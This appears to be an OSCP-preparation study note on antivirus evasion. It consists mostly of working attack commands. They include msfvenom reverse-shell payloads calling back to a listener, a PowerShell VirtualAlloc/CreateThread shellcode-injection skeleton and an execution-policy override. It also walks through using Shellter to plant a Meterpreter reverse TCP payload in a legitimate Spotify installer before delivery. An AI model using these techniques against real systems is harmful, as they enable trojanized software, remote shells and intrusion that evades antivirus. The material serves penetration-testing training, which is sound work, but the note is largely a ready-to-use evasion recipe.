Antivirus Evasion

In-memory PowerShell injection and dynamic PE injection with Shellter to bypass signatured AV.

#av evasion#shellter#powershell#shellcode

source · airouboss/oscp-prep-notes-2026 · exploitation/antivirus-evasion.md ↗

Antivirus Evasion

AV catches known payloads by signature (file hash / byte patterns) and by behavior. The two reliable OSCP-friendly answers are in-memory execution (never touch disk with a signatured PE) and dynamic injection into a trusted binary with Shellter.

Detection basics

🐺 howlsec@kalishell

$echo "offsec" > malware.txt
$xxd -b malware.txt                 # binary representation
$sha256sum malware.txt              # signature = file hash
$msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f exe > binary.exe

In-memory injection (PowerShell)

Allocate RWX memory, drop shellcode in, spawn a thread — nothing signatured hits disk.

🐺 howlsec@kalipowershell

$# bypass.ps1
$$code = '
$[DllImport("kernel32.dll")]
$public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
$ 
$[DllImport("kernel32.dll")]
$public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
$ 
$[DllImport("msvcrt.dll")]
$public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$ 
$# <place shellcode here>

The script imports VirtualAlloc and CreateThread from kernel32.dll and memset from msvcrt.dll. Generate the shellcode with msfvenom's PowerShell-reflection format and paste it in place of the placeholder:

🐺 howlsec@kalishell

$msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f psh-reflection

The payload is x86, so run it under Windows PowerShell (x86):

🐺 howlsec@kalipowershell

$.\bypass.ps1
$ 
$# If execution policy blocks it
$Get-ExecutionPolicy -Scope CurrentUser
$Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
$ 
$# Kali listener, then fire
$nc -lvnp 443
$.\bypass.ps1

Automating with Shellter

Shellter dynamically injects shellcode into a legitimate PE, one of the most effective free AV bypasses.

🐺 howlsec@kalishell

$# Install
$apt-cache search shellter
$sudo apt install shellter
$sudo apt install wine
$sudo dpkg --add-architecture i386 && apt-get update && apt-get install wine32
$sudo dpkg --add-architecture amd64
$sudo apt install -y qemu-user-static binfmt-support
$sudo apt-get update && apt-get install wine32

🐺 howlsec@kalishell

$shellter
$# A  -> automatic mode
$# Target PE, e.g. a real installer:
$/home/kali/Downloads/SpotifyFullWin10-32bit.exe
$# Enable stealth mode, choose:
$# 1  -> Meterpreter Reverse TCP
$ 
$# Start the handler before delivering the PE
$msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 192.168.45.154;set LPORT 443;run;"